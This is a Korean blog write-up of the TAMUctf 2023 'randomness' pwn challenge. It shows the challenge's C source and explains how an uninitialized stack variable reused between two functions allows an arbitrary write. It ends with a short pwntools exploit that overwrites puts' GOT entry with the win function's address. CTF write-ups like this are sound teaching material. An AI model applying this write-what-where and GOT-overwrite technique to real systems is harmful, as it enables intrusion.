728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void upkeep() {
// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void win() {
char* argv[] = {"/bin/cat", "flag.txt", NULL};
execve(argv[0], argv, NULL);
}
void foo() {
unsigned long seed;
puts("Enter a seed:");
scanf("%lu", &seed);
srand(seed);
}
void bar() {
unsigned long a;
puts("Enter your guess:");
scanf("%lu", a);
if (rand() == a) {
puts("correct!");
} else {
puts("incorrect!");
}
}
int main() {
upkeep();
puts("hello!");
foo();
bar();
puts("goodbye!");
}
2.2. 분석
main 함수에서는 foo 이후 bar 함수를 실행해준다.
foo 함수에서는 srand의 seed 값으로 쓸 값을 입력 받는다.
bar 에서는 rand 값과 입력한 값이 맞는지 확인한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
동일한 변수의 크기를 가진 다른 두개의 함수를 실행할 때, 같은 위치를 참조하게된다.
3.2. 공격 준비
srand 및 rand는 사실 페이크고,
foo에서 사용한 seed 변수의 위치와
bar에서 사용한 a 변수의 위치가 동일하기 때문에 같은 위치를 참조하게 된다.
즉, foo에서는 &seed 형태로 값을 받고,
bar에서는 a로 값을 받기 때문에 결국 각각 입력하는 값들이 쓸 주소, 쓸 값의 형태를 띄게 된다.
마지막에 puts 함수로 종료되며, win 함수를 가지고 있기 때문에 puts got을 win 함수로 overwrite 해주었다.
4. exploit
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
#p = process('./randomness')
p.sendlineafter(b'seed:\n',str(0x403470))
p.sendlineafter(b':\n',str(0x4011d3))
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TJCTF 2023 - pwn/teenage-game (0) | 2023.05.26 |
---|---|
TAMUctf 2023 - Bank (0) | 2023.05.01 |
TAMUctf 2023 - Pwnme (0) | 2023.05.01 |
TAMUctf 2023 - Pointer (0) | 2023.05.01 |
TAMUctf 2023 - Inspector Gadget (0) | 2023.05.01 |